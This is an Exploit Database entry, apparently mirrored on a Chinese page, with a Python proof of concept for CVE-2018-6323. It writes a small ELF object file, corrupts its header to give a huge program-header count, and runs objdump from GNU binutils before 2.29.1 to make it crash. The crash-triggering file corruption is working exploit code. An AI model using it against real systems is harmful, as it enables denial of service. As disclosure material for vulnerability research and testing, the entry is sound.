GNU binutils 2.26.1 – Integer Overflow (PoC)

• Exploit Database
• 14 阅读

• 作者： r4xis
  日期： 2018-02-14
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44035/

• # Exploit Title: Objdump - Integer Overflow Crash POC
  # Date: 12.02.2018
  # Exploit Author: r4xis
  # Tested Version: 2.26.1
  # Vuln Version: <2.29.1
  # CVE: cve-2018-6323
  # Tested on: Ubuntu 16.04 32-bit 
  # Vulnerability Details: 
  # https://www.cvedetails.com/cve/CVE-2018-6323/
  # https://sourceware.org/bugzilla/show_bug.cgi?id=22746
  
  
  import os
  
  hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"
  f = open("helloWorld.c", 'w')
  f.write(hello)
  f.close()
  
  os.system("gcc -c helloWorld.c -o test")
  # file test
  # test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped
  
  f = open("test", 'rb+')
  f.read(0x2c)
  f.write("\xff\xff") # 65535
  f.read(0x244-0x2c-2)
  f.write("\x00\x00\x00\x20") # 536870912
  f.close()
  # readelf -h test
  # Number of program headers: 65535 (536870912)
  
  os.system("objdump -x test; rm -r helloWorld.c test")